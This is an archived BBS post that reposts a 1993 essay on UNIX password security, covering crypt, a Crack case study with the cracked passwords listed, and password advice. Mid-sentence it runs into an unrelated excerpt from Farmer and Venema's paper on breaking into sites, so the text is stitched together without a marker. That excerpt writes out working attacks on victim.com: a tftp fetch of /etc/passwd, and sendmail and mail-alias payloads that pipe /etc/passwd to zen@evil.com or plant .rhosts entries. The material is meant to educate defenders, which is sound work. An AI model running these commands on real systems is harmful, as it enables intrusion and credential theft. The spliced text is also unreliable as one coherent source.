荔园在线
荔园之美，在春之萌芽，在夏之绽放，在秋之收获，在冬之沉淀
[回到开始]
[上一篇][下一篇]
发信人: Mill (听日), 信区: Hacker
标 题: Unix passwd Security
发信站: BBS 荔园晨风站 (Thu Oct 29 01:25:56 1998), 站内信件
UNIX Password Security
Walter Belgers
walter@giga.win.tue.nl
December 6, 1993
1. Introduction
This document was written to make system administrators aware of the
importance of well-chosen passwords. Easy-to-guess passwords offer
hackers the possibility to enter a system. (`Crackers' is a better
term, because `hackers' is historically reserved for people who take
the most out of their computer because of their great knowledge of
soft- or hardware. I will continue to use the term `hacker' because
this is common in literature.) More and more computers are being
connected to the world-wide Internet (the latest estimations speak of
about 1.5 billion systems). This means there will be more and more
users, and therefore more and more hackers. By means of good
password-security, one can protect a system from newbie hackers.
There are many types of systems, and every one has a lot of security
aspects to it. I will restrict myself to the password-security of UNIX
systems. The reason being that UNIX systems are very popular,
especially in an educational environment, where one can expect an
increased concentration of hackers due to the openness that is
appreciated in such environments. This is in contrast to a commercial
environment, where data has to be protected. E.g. against competitors.
There are many ways to hack a UNIX system, and there are many programs
for finding a user's password. These programs can be used by people who
have little knowledge of UNIX. Choosing good passwords can therefore
help in keeping newbie hackers out. (`Advanced hackers' are often
capable of entering a system without using passwords. This implies
that the security of a system depends not solely on well-chosen
passwords.)
Besides the importance of good passwords (i.e. not easily guessable) we
will take a look at how they work. Next we will see an actual example
which shows how bad passwords are usually chosen. To conclude I will
give several methods for chosing good passwords.
2. The importance of good passwords
The goal of a hacker is usually obtaining the superuser-status (`root').
The normal strategy to do this is using badly installed software, bugs
in (system)software and human errors. There are several ways to hack a
computer, but most ways require extensive knowledge. A (relatively) easy
way is logging in as a normal user and searching the system for bugs to
become superuser. To do this, the hacker will have to have a valid
usercode/password combination to start with.
- Page 1 -
It is of utmost importance that all (!) users on a system choose a
password that is not easy to guess. The security of each individual
user is closely related to the security of the whole system. Users
often have no idea how a multi-user system works and don't realise that
they, by chosing an easy to remember password, indirectly make it
possible for an outsider to manipulate the entire system. It is
essential to educate the users well to avoid attitudes like the one
described in [Muf]: "It doesn't matter what password I use on _MY_
account, after all, I only use it for laserprinting...". The users have
to get involved with the security of the system they are working on. In
[Pet] we read "Users have a responsibility to employ available security
mechanisms and procedures for protecting their own data. They also have
a responsibility for assisting in the protection of the systems they
use". It also says that it is important to notify the users of the
security guidelines. A solution might be giving new users a limited
course. Or at least make them understand why good passwords are
essential. This can be done e.g. when a user gets his or her initial
password from the system administrator.
3. How a hacker finds a password
Most UNIX systems don't use the so-called shadow passwordfiles which we
will look at in a moment. In most cases, the passwords are stored
encrypted in the file /etc/passwd, or, if the system is a client, on
the server. In the latter case, one can get the passwordfile by giving
the command `ypcat passwd'.
A line from the passwordfile looks like this:
account:coded password data:uid:gid:GCOS-field:homedir:shell
A user with account gigawalt, crypted password fURfuu4.4hY0U, userid
129 (a user with userid 0 (of which there can be more than one) is
superuser), groupid 129, information (GCOS) Walter Belgers,
homedirectory /home/gigawalt and shell /bin/csh will have an entry in
/etc/passwd like this:
gigawalt:fURfuu4.4hY0U:129:129:Walter Belgers:/home/gigawalt:/bin/csh
Things are a bit different when a shadow passwordfile is being used.
All coded password data is replaced with a `*' in /etc/passwd, and a
second file (the shadowfile) is used to store the original data. This
file can only be read with sufficient privileges so that normal users
cannot get the crypted passwords.
- Page 2 -
Passwords are being crypted using the DES algorithm. DES (`Data
Encryption Standard') is an American encryption standard since 1979.
With DES it is possible to encrypt and decrypt data using a key. UNIX
password encryption uses the DES algorithm 25 times in a row. The first
DES round uses 64 0-bits as input and encrypts them with the password
the user inputs, with a permutation taking place during the encryption
process. There are 4096 possible permutations. The permutation used is
randomly chosen for each user. The chosen permutation is coded into two
bytes called `salt'. The salt is stored in the passwordfile. The output
is used as input for the next DES round, which uses the same key and
permutation. This process repeats until there is a final output from
the 25th DES round. This output is coded into eleven bytes which are
put in the passwordfile. So the coded password data in the passwordfile
consists of thirteen bytes, first the salt and then the encrypted
password.
This method of encryption is almost irreversible, which means that it
is easy to encrypt a string, but it is impossible to find the original
of a string encrypted in the way described above, except by
systematically trying out all possible keys and salts. (By impossible
we mean here that there is no known method that does this quicker.) It
is however possible to find the original of a string encrypted using
_single_ DES. For more information concerning single DES encryption see
[Til]. If it's impossible to decrypt the encrypted password, how can a
user log in? This works as follows: the user inputs his or her password
which is used as key to crypt 64 0-bits using the aforementioned
method, using the salt as it can be found in the passwordfile for that
particular user. If the output corresponds to the eleven bytes that
represent the crypted password in the passwordfile the password is
considered valid and the user will be permitted to access the system.
For more information on the precise working of DES on UNIX see [Fel2].
Schematically it looks like this:
---------------- (salt)
| 25x DES | <---------------vv
64 0-bits ----> | encryption | ---- fURfuu4.4hY0U ------
---------------- | (from /etc/passwd) |
^ | |
| (key) -------------> Rfuu4.4hY0U -----|
| (result) |
| |
inputted password |
---------------------------------
|
--> correspondance: password
accepted
- Page 3 -
As I just pointed out it is not possible (in real life) to decrypt
passwords. However, it is possible to encrypt 64 0-bits with some
words and see if the result `incidentally' is the password. Then the
account is hacked. One could remark that it must be possible to check
all possible passwords this way. However, this would take the fastest
computer longer than the time the universe exists. By trying out only
passwords consisting of six lowercase characters, it becomes possible
to try out all combinations in reasonable time, provided one has an
extremely powerful computer. The latest record for passwords consisting
of six lowercase characters stands at one hour per user. Passwords of
accounts that are attractive to hackers (the ones with a lot of
privileges) should therefore never consist solely of lowercase
characters!
We see that the usual way to find passwords is by guessing them. So you
have to make sure users do not use easy-to-guess passwords, i.e.
passwords that can be found in lists (a dictionary, an encyclopedia,
files with astronomical terms, flora and fauna, etc.). It is very easy
to obtain such lists via the Internet.
Suppose a line from the passwordfile looks like this:
gigawalt:fURfuu4.4hY0U:129:129:Walter Belgers:/home/gigawalt:/bin/csh
Then passwords that should NOT be used are e.g.:
. all English words and derivatives (so `laugh', `laughs', `laughing',
etc.)
. all words from a foreign language (it is easy to get foreign
dictionaries)
. words that can be found in the passwordfile itself like Walter,
Belgers, gigawalt, etc.
. patterns like 123456, qwerty, etc.
. geographical names
. words from an encyclopedia (`Socrates')
. the license plate of a car, the roomnumber, the phonenumber or other
things that have something to do with the owner of the account
. given names
. variations of these (walter, WALTER, retlaw, Walter, wAlter, walter0,
walt3r, Retlaw4,...) Also take into account doubling words or adding a
random character.
4. An actual example
To show how users choose their passwords badly, I used a password
guessing program on a passwordfile of a system in operation.
The program I used was Crack v4.1 with ufcrypt (ultra-fast crypt, a fast
implementation of the DES algorithm) on a network of SUN ELC computers.
The performance of these computers (20 MIPS) is comparable to that of a
modern PC. The program was stopped before it was finished after almost
60 hours. The passwords that were found were found within the first 25
hours.
- Page 4 -
Results:
Type of machines: 11x SUN ELC
Total number of accounts: 521
Number of hacked accounts: 58 (11.1%) (with interactive shell 56 (10.7%))
Total time 59:13 (real time, not CPU time)
1 lists 42 (7.2%)
2 common names 1 (0.2%)
3 user/account name 5 (0.9%)
4 phrases and patterns 3 (0.5%)
5 women's names 2 (0.3%)
6 men's names 4 (0.7%)
7 cities 1 (0.2%)
Passwords found:
. cyclades, paardens, fiesta, regen, gnosis, police, fuselier, ballon,
smaragd, marques, farao, kasteel, valent, adagio, clematis,
gehannes, koeien, gnomen, onderkin, zeilboot, druppel, fietsen,
testen, marathon, tamtam, global, vrijheid, wolf, kwiek, basket,
stones, klomp9, fiets9, Zoutje, Biefstuk, neenee, tnbrg (this is
`tonbrug' without vowels).
. fischer.
. guest had password guest. This is not a user's fault of course, but
the fault of the system administrator. It has to be seen whether or
not logging in as `guest' with password `guest' is criminal in the
Netherlands.
. qwerty, unesco.
. heather, joanne.
. piet, atilla, Frans2, vatsug (this is `gustav' spelled backwards).
. adelaide.
Some people have studied the amount of passwords that is easily
guessable in the past. In [Kle] Daniel Klein finds 21% of 15,000
passwords using one week CPU time. The first 2.7% was found within 15
minutes (people who used their account as password, e.g. account
gigawalt, with password gigawalt). The categories in which over 1% of
the 15,000 passwords were found are:
lists 7,4%
common names 4,0%
user/account name 2,7%
phrases and patterns 1,8%
women's names 1,2%
men's names 1,0%
machinenames 1,0%
Comparing these results to the ones above is of little use because of
the limited extent of this investigation.
A somewhat more extensive research (see [Far]) was concerned with
passwordfiles of several .COM systems (computers owned by US
companies). One would expect companies to have good security
measurements, but the passwords kept coming in, with the first
root-password (!) after little more than an hour. (There was a total of
1594 passwords of which 50 had been guessed within 15 minutes, and 90
after 35 minutes.)
- Page 5 -
5. Picking good passwords
The above illustrates the importance of a good password for every
user. We will look at some methods for choosing good passwords. A good
password consists of 8 characters (a UNIX password can be up to eight
characters, any extra characters will be discarded, making the
passwords `Still won't talk, eh, Spiff?' and `Still wo' mutually
interchangable). It has to be hard to guess but easy to remember,
because otherwise, users will be tempted to write down their password
which totally takes away the function of a it.
Pick a password that not only consists of just upper- or lowercase
characters, or only one capital (`seCret' is thus a bad password). It
is preferable to use a non-alfanumeric character in the password
(%,=,*, etc.). The use of control characters is possible, but not all
control characters can be used, and it can give rise to problems with
some networking protocols.
A few methods:
. Concatenate two words that together consist of seven characters and
that have no connection to eachother. Concatenate them with a
punctuation mark in the middle and convert some characters to
uppercase. Examples: `Pit+idEa', `plOVer#me'.
. Use the first characters of the words of a certain (not too common)
sentence. When we use the sentence `My goldfish are called
Justerini and Brooks!' as example, we would get the password
`MgacJaB!'. (Also in this case make sure you use an eight-character
password with uppercase characters and/or punctuation marks.)
. Alternately pick a consonant and one or two vowels resulting in a
pronouncable (and therefore easy to remember) word. Examples:
`koDupaNy', `eityPOop'.
6. Reducing break-in possibilities
It is important for users to have hard to guess but in the meantime easy
to remember passwords. There are methods for generating such passwords.
System operators should inform the users about the importance of good
passwords.
To reduce the risk of a break-in there are several possibilities:
. Make sure the users know why a good password is important and how
they can choose one.
. Install a new /bin/passwd (or yppasswd) that checks whether the
password is not too obvious (by checking if it contains punctuation
marks, or by investigating if the password can be found in standard
wordlists).
. Install a shadow passwordfile (this involves changing some software).
. Let passwords expire, for example after three months for regular
users, after a month for users with extra privileges. The timespan a
password lives should not be chosen too small. What will still exist
is the danger of users using series of passwords, like `Secret1',
`Secret2',... making it easy for a hacker to, once he has obtained
a password, guess the successor.
- Page 6 -
. Use a program that hacks passwords to check if some users have
guessable passwords. Let those users visit you personally to inform
them about the fact that a good password is everyone's concern.
. Switch to single-use passwords (this is radical and requires some
investments, see [Ven]).
. Use passwords of accounts with privileges like that of root on the
console only to avoid eavesdropping the network. When impossible,
try to avoid logging in on such accounts from computers or terminals
that are connected to a LAN segment on which people can easily
and/or anonymously wiretap the network, like classrooms.
. Keep in mind that total system security is as weak as the weakest
chain. Also keep in mind that a system with good passwords alone is
not yet a secure system.
7. Bibligraphy
[Bel] Walter Belgers, Password Security - A Case Study (in Dutch),
TimeWasters Online Magazine #5, march 9, 1993, can be obtained by
sending email with Subject `TOM5' to
timewasters-request@win.tue.nl.
[Cur] David A. Curry, UNIX System Security, Addison-Wesley, 1992.
[Far] Dan Farmer, Wietse Venema, Improving the Security of Your Site by
Breaking Into it, USENET newsgroup comp.security.unix, can be
obtained via ftp from ftp.win.tue.nl as
/pub/security/admin-guide-to-cracking.Z, 1993.
[Fel1] David C. Feldmeier, A High-Speed Software DES Implementation, can
be obtained by anonymous ftp from thumper.bellcore.com as
/pub/crypt/des.ps.Z, 1989.
[Fel2] David C. Feldmeier, Philip R. Karn, UNIX Password Security - Ten
Years Later, Proceedings of Advances in Cryptology - CRYPTO '89,
1989.
[Kle] Daniel V. Klein, ``Foiling the Cracker'': A Survey of, and
Improvements to, Password Security (revised paper), Proceedings
of the USENIX Security Workshop, summer 1990.
[Muf] Alec E. Muffet, Almost Everything You Wanted To Know About
Security (but were afraid to ask!), USENET newsgroup
alt.security.
[Pet] R. Pethia, S. Crocker, B. Fraser, RFC1281: Guidelines for the
Secure Operation of the Internet, november 1991.
[Til] Henk C.A. van Tilborg, An Introduction to Cryptology, Kluwer
Academic Publishers, 1988.
[Ven] Wietse Venema, Using SecurID tokens in an open multi-host UNIX
environment, can be obtained by anonymous ftp from
ftp.nic.surfnet.nl as /surfnet/net-security/docs/securid.ps,
1993.
- Page 7 -
and able to modify the
password file, or whatever you desire. If your system exhibits this
bug, you should definitely get an update to your ftpd daemon, either
from your vendor or (via anon ftp) from ftp.uu.net.
The wuarchive ftpd, a popular replacement ftp daemon put out by the
Washington University in Saint Louis, had almost the same problem. If
your wuarchive ftpd pre-dates April 8, 1993, you should replace it by a
more recent version.
Finally, there is a program vaguely similar to ftp -- tftp, or the
trivial file transfer program. This daemon doesn't require any password
for authentication; if a host provides tftp without restricting the
access (usually via some secure flag set in the inetd.conf file), an
attacker can read and write files anywhere on the system. In the
example, you get the remote password file and place it in your local
/tmp directory:
evil % tftp
tftp> connect victim.com
tftp> get /etc/passwd /tmp/passwd.victim
tftp> quit
For security's sake, tftp should not be run; if tftp is necessary, use
the secure option/flag to restrict access to a directory that has no
valuable information, or run it under the control of a chroot wrapper
program.
----
If none of the previous methods have worked, it is time to go on to more
drastic measures. You have a friend in rpcinfo, another very handy
program, sometimes even more useful than finger. Many hosts run RPC
services that can be exploited; rpcinfo can talk to the portmapper and
show you the way. It can tell you if the host is running NIS, if it is
a NIS server or slave, if a diskless workstation is around, if it is
running NFS, any of the info services (rusersd, rstatd, etc.), or any
other unusual programs (auditing or security related). For instance,
going back to our sample target:
evil % rpcinfo -p victim.com [output trimmed for brevity's sake]
program vers proto port
100004 2 tcp 673 ypserv
100005 1 udp 721 mountd
100003 2 udp 2049 nfs
100026 1 udp 733 bootparam
100017 1 tcp 1274 rexd
In this case, you can see several significant facts about our target;
first of which is that it is an NIS server. It is perhaps not widely
known, but once you know the NIS domainname of a server, you can get any
of its NIS maps by a simple rpc query, even when you are outside the
subnet served by the NIS server (for example, using the YPX program that
can be found in the comp.sources.misc archives on ftp.uu.net). In
addition, very much like easily guessed passwords, many systems use
easily guessed NIS domainnames. Trying to guess the NIS domainname is
often very fruitful. Good candidates are the fully and partially
qualified hostname (e.g. "victim" and "victim.com"), the organization
name, netgroup names in "showmount" output, and so on. If you wanted to
guess that the domainname was "victim", you could type:
evil % ypwhich -d victim victim.com
Domain victim not bound.
This was an unsuccessful attempt; if you had guessed correctly it would
have returned with the host name of victim.com's NIS server. However,
note from the NFS section that victim.com is exporting the "/var"
directory to the world. All that is needed is to mount this directory
and look in the "yp" subdirectory -- among other things you will see
another subdirectory that contains the domainname of the target.
evil # mount victim.com:/var /foo
evil # cd /foo
evil # /bin/ls -alg /foo/yp
total 17
1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 .
1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 ..
11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile
1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding
2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar
[...]
In this case, "foo_bar" is the NIS domain name.
In addition, the NIS maps often contain a good list of user/employee
names as well as internal host lists, not to mention passwords for
cracking.
Appendix C details the results of a case study on NIS password files.
----
You note that the rpcinfo output also showed that victim.com runs rexd.
Like the rsh daemon, rexd processes requests of the form "please execute
this command as that user". Unlike rshd, however, rexd does not care if
the client host is in the hosts.equiv or .rhost files. Normally the rexd
client program is the "on" command, but it only takes a short C program
to send arbitrary client host and userid information to the rexd server;
rexd will happily execute the command. For these reasons, running rexd
is similar to having no passwords at all: all security is in the client,
not in the server where it should be. Rexd security can be improved
somewhat by using secure RPC.
----
While looking at the output from rpcinfo, you observe that victim.com
also seems to be a server for diskless workstations. This is evidenced
by the presence of the bootparam service, which provides information to
the diskless clients for booting. If you ask nicely, using
BOOTPARAMPROC_WHOAMI and provide the address of a client, you can get
its NIS domainname. This can be very useful when combined with the fact
that you can get arbitrary NIS maps (such as the password file) when you
know the NIS domainname. Here is a sample code snippet to do just that
(bootparam is part of SATAN.)
char *server;
struct bp_whoami_arg arg; /* query */
struct bp_whoami_res res; /* reply */
/* initializations omitted... */
callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
printf("%s has nisdomain %s\n", server, res.domain_name);
The showmount output indicated that "easy" is a diskless client of
victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI
query:
evil % bootparam victim.com easy.victim.com
victim.com has nisdomain foo_bar
----
NIS masters control the mail aliases for the NIS domain in question.
Just like local mail alias files, you can create a mail alias that will
execute commands when mail is sent to it (a once popular example of this
is the "decode" alias which uudecodes mail files sent to it.) For
instance, here you create an alias "foo", which mails the password file
back to evil.com by simply mailing any message to it:
nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
nis-master # cd /var/yp
nis-master # make aliases
nis-master # echo test | mail -v foo@victim.com
Hopefully attackers won't have control of your NIS master host, but even
more hopefully the lesson is clear -- NIS is normally insecure, but if
an attacker has control of your NIS master, then s/he effectively has
control of the client hosts (e.g. can execute arbitrary commands).
There aren't many effective defenses against NIS attacks; it is an
insecure service that has almost no authentication between clients and
servers. To make things worse, it seems fairly clear that arbitrary
maps can be forced onto even master servers (e.g., it is possible to
treat an NIS server as a client). This, obviously, would subvert the
entire schema. If it is absolutely necessary to use NIS, choosing a
hard to guess domainname can help slightly, but if you run diskless
clients that are exposed to potential attackers then it is trivial for
an attacker to defeat this simple step by using the bootparam trick to
get the domainname. If NIS is used to propagate the password maps, then
shadow passwords do not give additional protection because the shadow
map is still accessible to any attacker that has root on an attacking
host. Better is to use NIS as little as possible, or to at least
realize that the maps can be subject to perusal by potentially hostile
forces.
Secure RPC goes a long way to diminish the threat, but it has its own
problems, primarily in that it is difficult to administer, but also in
that the cryptographic methods used within are not very strong. It has
been rumored that NIS+, Sun's new network information service, fixes
some of these problems, but until now it has been limited to running on
Suns, and thus far has not lived up to the promise of the design.
Finally, using packet filtering (at the very least port 111) or
securelib (see appendix D), or, for Suns, applying Sun patch 100482-02
all can help.
----
The portmapper only knows about RPC services. Other network services
can be located with a brute-force method that connects to all network
ports. Many network utilities and windowing systems listen to specific
ports (e.g. sendmail is on port 25, telnet is on port 23, X windows is
usually on port 6000, etc.) SATAN includes a program that scans the
ports of a remote hosts and reports on its findings; if you run it
against our target, you see:
evil % tcpmap victim.com
Mapping 128.128.128.1
port 21: ftp
port 23: telnet
port 25: smtp
port 37: time
port 79: finger
port 512: exec
port 513: login
port 514: shell
port 515: printer
port 6000: (X)
This suggests that victim.com is running X windows. If not protected
properly (via the magic cookie or xhost mechanisms), window displays can
be captured or watched, user keystrokes may be stolen, programs executed
remotely, etc. Also, if the target is running X and accepts a telnet to
port 6000, that can be used for a denial of service attack, as the
target's windowing system will often "freeze up" for a short period of
time. One method to determine the vulnerability of an X server is to
connect to it via the XOpenDisplay() function; if the function returns
NULL then you cannot access the victim's display (opendisplay is part of
SATAN):
char *hostname;
if (XOpenDisplay(hostname) == NULL) {
printf("Cannot open display: %s\n", hostname);
} else {
printf("Can open display: %s\n", hostname);
}
evil % opendisplay victim.com:0
Cannot open display: victim.com:0
X terminals, though much less powerful than a complete UNIX system, can
have their own security problems. Many X terminals permit unrestricted
rsh access, allowing you to start X client programs in the victim's
terminal with the output appearing on your own screen:
evil % xhost +xvictim.victim.com
evil % rsh xvictim.victim.com telnet victim.com -display evil.com
In any case, give as much thought to your window security as your
filesystem and network utilities, for it can compromise your system as
surely as a "+" in your hosts.equiv or a passwordless (root) account.
----
Next, you examine sendmail. Sendmail is a very complex program that has
a long history of security problems, including the infamous "wiz"
command (hopefully long since disabled on all machines). You can often
determine the OS, sometimes down to the version number, of the target,
by looking at the version number returned by sendmail. This, in turn,
can give you hints as to how vulnerable it might be to any of the
numerous bugs. In addition, you can see if they run the "decode" alias,
which has its own set of problems:
evil % telnet victim.com 25
connecting to host victim.com (128.128.128.1.), port 25
connection open
220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
expn decode
250 <"|/usr/bin/uudecode">
quit
Running the "decode" alias is a security risk -- it allows potential
attackers to overwrite any file that is writable by the owner of that
alias -- often daemon, but potentially any user. Consider this piece of
mail -- this will place "evil.com" in user zen's .rhosts file if it is
writable:
evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com
If no home directories are known or writable, an interesting variation
of this is to create a bogus /etc/aliases.pag file that contains an
alias with a command you wish to execute on your target. This may work
since on many systems the aliases.pag and aliases.dir files, which
control the system's mail aliases, are writable to the world.
evil % cat decode
bin: "| cat /etc/passwd | mail zen@evil.com"
evil % newaliases -oQ/tmp -oA`pwd`/decode
evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
A lot of things can be found out by just asking sendmail if an address
is acceptable (vrfy), or what an address expands to (expn). When the
finger or rusers services are turned off, vrfy and expn can still be
used to identify user accounts or targets. Vrfy and expn can also be
used to find out if the user is piping mail through any program that
might be exploited (e.g. vacation, mail sorters, etc.). It can be a
good idea to disable the vrfy and expn commands: in most versions, look
at the source file srvrsmtp.c, and either delete or change the two lines
in the CmdTab structure that have the strings "vrfy" and "expn". Sites
without source can still disable expn and vrfy by just editing the
sendmail executable with a binary editor and replacing "vrfy" and "expn"
with blanks. Acquiring a recent version of sendmail (see Appendix D) is
also an extremely good idea, since there have probably been more
security bugs reported in sendmail than in any other UNIX program.
----
As a sendmail-sendoff, there are two fairly well known bugs that should
be checked into. The first was definitely fixed in version 5.59 from
Berkeley; despite the messages below, for versions of sendmail previous
to 5.59, the "evil.com" gets appended, despite the error messages, along
with all of the typical mail headers, to the file specified:
% cat evil_sendmail
telnet victim.com 25 << EOSM
rcpt to: /home/zen/.rhosts
mail from: zen
data
random garbage
.
rcpt to: /home/zen/.rhosts
mail from: zen
data
evil.com
.
quit
EOSM
evil % /bin/sh evil_sendmail
Trying 128.128.128.1
Connected to victim.com
Escape character is '^]'.
Connection closed by foreign host.
evil % rlogin victim.com -l zen
Welcome to victim.com!
victim %
The second hole, fixed only recently, permitted anyone to specify
arbitrary shell commands and/or pathnames for the sender and/or
destination address. Attempts to keep details secret were in vain, and
extensive discussions in mailing lists and usenet news groups led to
disclosure of how to exploit some versions of the bug. As with many
UNIX bugs, nearly every vendor's sendmail was vulnerable to the problem,
since they all share a common source code tree ancestry. Space
precludes us from discussing it fully, but a typical attack to get the
password file might look like this:
evil % telnet victim.com 25
Trying 128.128.128.1...
Connected to victim.com
Escape character is '^]'.
220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
mail from: "|/bin/mail zen@evil.com < /etc/passwd"
250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
rcpt to: nosuchuser
550 nosuchuser... User unknown
data
354 Enter mail, end with "." on a line by itself
.
250 Mail accepted
quit
Connection closed by foreign host.
evil %
At the time of writing, version 8.6.4 of sendmail (see Appendix D for
information on how to get this) is reportedly the only variant of
sendmail with all of the recent security bugs fixed.
Trust
-----
For our final topic of vulnerability, we'll digress from the practical
strategy we've followed previously to go a bit more into the theoretical
side, and briefly discuss the notion of trust. The issues and
implications of vulnerabilities here are a bit more subtle and
far-reaching than what we've covered before; in the context of this
paper we use the word trust whenever there is a situation when a server
(note that any host that allows remote access can be called a server)
can permit a local resource to be used by a client without password
authentication when password authentication is normally required. In
other words, we arbitrarily limit the discussion to clients in disguise.
There are many ways that a host can trust: .rhosts and hosts.equiv files
that allow access without password verification; window servers that
allow remote systems to use and abuse privileges; export files that
control access via NFS, and more.
Nearly all of these rely on client IP address to hostname conversion to
determine whether or not service is to be granted. The simplest method
uses the /etc/hosts file for a direct lookup. However, today most hosts
use either DNS (the Domain Name Service), NIS, or both for name lookup
service. A reverse lookup occurs when a server has an IP address (from
a client host connecting to it) and wishes to get the corresponding
client hostname.
Although the concept of how host trust works is well understood by most
system administrators, the _dangers_ of trust, and the _practical_
problem it represents, irrespective of hostname impersonation, is one of
the least understood problems we know of on the Internet. This goes far
beyond the obvious hosts.equiv and rhosts files; NFS, NIS, windowing
systems -- indeed, much of the useful services in UNIX are based on the
concept that well known (to an administrator or user) sites are trusted
in some way. What is not understood is how networking so tightly binds
security between what are normally considered disjoint hosts.
Any form of trust can be spoofed, fooled, or subverted, especially when
the authority that gets queried to check the credentials of the client
is either outside of the server's administrative domain, or when the
trust mechanism is based on something that has a weak form of
authentication; both are usually the case.
Obviously, if the host containing the database (either NIS, DNS, or
whatever) has been compromised, the intruder can convince the target
host that s/he is coming from any trusted host; it is now sufficient to
find out which hosts are trusted by the target. This task is often
greatly helped by examining where system administrators and system
accounts (such as root, etc.) last logged in from. Going back to our
target, victim.com, you note that root and some other system accounts
logged in from big.victim.com. You change the PTR record for evil.com so
that when you attempt to rlogin in from evil.com to victim.com,
victim.com will attempt to look up your hostname and will find what you
placed in the record. If the record in the DNS database looks like:
1.192.192.192.in-addr.arpa IN PTR evil.com
And you change it to:
1.192.192.192.in-addr.arpa IN PTR big.victim.com
then, depending on how naive victim.com's system software is, victim.com
will believe the login comes from big.victim.com, and, assuming that
big.victim.com is in the /etc/hosts.equiv or /.rhosts files, you will be
able to login without supplying a password. With NIS, it is a simple
matter of either editing the host database on the NIS master (if this is
controlled by the intruder) or of spoofing or forcing NIS (see
discussion on NIS security above) to supply the target with whatever
information you desire. Although more complex, interesting, and
damaging attacks can be mounted via DNS, time and space don't allow
coverage of these methods here.
Two methods can be used to prevent such attacks. The first is the most
direct, but perhaps the most impractical. If your site doesn't use any
trust, you won't be as vulnerable to host spoofing. The other strategy
is to use cryptographic protocols. Using the secure RPC protocol (used
in secure NFS, NIS+, etc.) is one method; although it has been "broken"
cryptographically, it still provides better assurance than RPC
authentication schemes that do not use any form of encryption. Other
solutions, both hardware (smartcards) and software (Kerberos), are being
developed, but they are either incomplete or require changes to system
software.
Appendix B details the results of an informal survey taken from a
variety of hosts on the Internet.
Protecting the system
---------------------
It is our hope that we have demonstrated that even some of the most
seemingly innocuous services run can offer (sometimes unexpectedly)
ammunition to determined system crackers. But, of course, if security
were all that mattered, computers would never be turned on, let alone
hooked into a network with literally millions of potential intruders.
Rather than reiterating specific advice on what to switch on or off, we
instead offer some general suggestions:
o If you cannot turn off the finger service, consider installing a
modified finger daemon. It is rarely necessary to reveal a user's home
directory and the source of last login.
o Don't run NIS unless it's absolutely necessary. Use NFS as little
as possible.
o Never export NFS filesystems unrestricted to the world. Try to
export file systems read-only where possible.
o Fortify and protect servers (e.g. hosts that provide a service to
other hosts -- NFS, NIS, DNS, whatever.) Only allow administrative
accounts on these hosts.
o Examine carefully services offered by inetd and the portmapper.
Eliminate any that aren't explicitly needed. Use Wietse Venema's inetd
wrappers, if for no other reason than to log the sources of connections
to your host. This adds immeasurably to the standard UNIX auditing
features, especially with respect to network attacks. If possible, use
the loghost mechanism of syslog to collect security-related information
on a secure host.
o Eliminate trust unless there is an absolute need for it. Trust is
your enemy.
o Use shadow passwords and a passwd command that disallows poor
passwords. Disable or delete unused/dormant system or user accounts.
o Keep abreast of current literature (see our suggested reading list and
bibliography at the end of this paper) and security tools; communicate
to others about security problems and incidents. At minimum, subscribe
to the CERT mailing list and phrack magazine (plus the firewalls mailing
list, if your site is using or thinking about installing a firewall) and
read the usenet security newsgroups to get the latest information on
security problems. Ignorance is the deadliest security problem we are
aware of.
o Install all vendor security patches as soon as possible, on all of
your hosts. Examine security patch information for other vendors - many
bugs (rdist, sendmail) are common to many UNIX variants.
It is interesting to note that common solutions to security problems
such as running Kerberos or using one-time passwords or digital tokens
are ineffective against most of the attacks we discuss here. We
heartily recommend the use of such systems, but be aware that they are
_not_ a total security solution -- they are part of a larger struggle to
defend your system.
Conclusions
-----------
Perhaps none of the methods shown here are surprising; when writing this
paper, we didn't learn very much about how to break into systems. What
we _did_ learn was, while testing these methods out on our own systems
and that of friendly sites, just how effective this set of methods is
for gaining access to a typical (UNIX) Internet host. Tiring of trying
to type these in all by hand, and desiring to keep our own systems more
secure, we decided to implement a security tool (SATAN) that attempts to
check remote hosts for at least some of the problems discussed here.
The typical response, when telling people about our paper and our tool
was something on the order of "that sounds pretty dangerous -- I hope
you're not going to give it out to everybody. But you since you can
trust me, may I have a copy of it?"
We never set out to create a cookbook or toolkit of methods and programs
on how to break into systems -- instead, we saw that these same methods
were being used, every day, against ourselves and against friendly
system administrators. We believe that by propagating information that
normally wasn't available to those outside of the underworld, we can
increase security by raising awareness. Trying to restrict access to
"dangerous" security information has never seemed to be a very effective
method for increasing security; indeed, the opposite appears to be the
case, since the system crackers have shown little reticence to share
their information with each other.
While it is almost certain that some of the information presented here
is new material to (aspiring) system crackers, and that some will use it
to gain unauthorized entrance onto hosts, the evidence presented even by
our ad hoc tests shows that there is a much larger number of insecure
sites, simply because the system administrators don't know any better --
they aren't stupid or slow, they simply are unable to spend the very
little free time that they have to explore all of the security issues
that pertain to their systems. Combine that with no easy access to this
sort of information and you have poorly defended systems. We (modestly)
hope that this paper will provide badly-needed data on how systems are
broken into, and further, to explain _why_ certain steps should be taken
to secure a system. Knowing why something is a problem is, in our
opinion, the real key to learning and to making an informed, intelligent
choice as to what security really means for your site.
----
Appendix A:
SATAN (Security Analysis Tool for Auditing Networks)
Originally conceived some years ago, SATAN is actually the prototype of
a much larger and more comprehensive vision of a security tool. In its
current incarnation, SATAN remotely probes and reports various bugs and
weaknesses in network services and windowing systems, as well as
detailing as much generally useful information as possible about the
target(s). It then processes the data with a crude filter and what
might be termed an expert system to generate the final security
analysis. While not particularly fast, it is extremely modular and easy
to modify.
SATAN consists of several sub-programs, each of which is an executable
file (perl, shell, compiled C binary, whatever) that tests a host for a
given potential weakness. Adding further test programs is as simple as
putting an executable into the main directory with the extension ".sat";
